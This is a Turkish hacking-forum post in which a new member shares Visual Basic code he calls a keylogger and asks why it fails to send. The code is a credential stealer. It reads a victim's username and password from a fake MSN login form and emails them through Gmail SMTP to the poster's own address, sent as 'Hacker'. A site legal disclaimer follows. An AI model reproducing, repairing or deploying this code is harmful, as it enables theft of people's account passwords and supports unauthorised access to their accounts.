Yaptığım Keylogger Çalışmıyor

G

Gannicus

Üye
29 Mar 2013
105
0
Merhaba Arkadaşlar Foruma Yeni Katıldım. Baya bir Süredir THT'i Takip Ediyorum bugün Üye Oldum Ve Bir Keylogger Yapıyım Dedim Herşey Tamam Gönder Butonuna Tıklayınca Göndermiyor Kodlar Bunlar Hata Olabilirmi ?

Private Sub Command1_Click()
On Error Resume Next
msn.Logon Text1.Text, Text2.Text, msn.Services.PrimaryService

On Error Resume Next

Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "G-Mailiniz"
Flds.Item(schema & "sendpassword") = "G-Mail Şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "Gönderilecek G-Mail Adresiniz"
.From = "Hacker"
.Subject = "Gmailli Keyloq"
.HTMLbOdy = Text1.Text & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
lbl.Caption = lbl.Caption + 1
End With
Form1.Hide
Form2.Show
End Sub
 
Tarihe göre sırala Oylara göre sırala
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.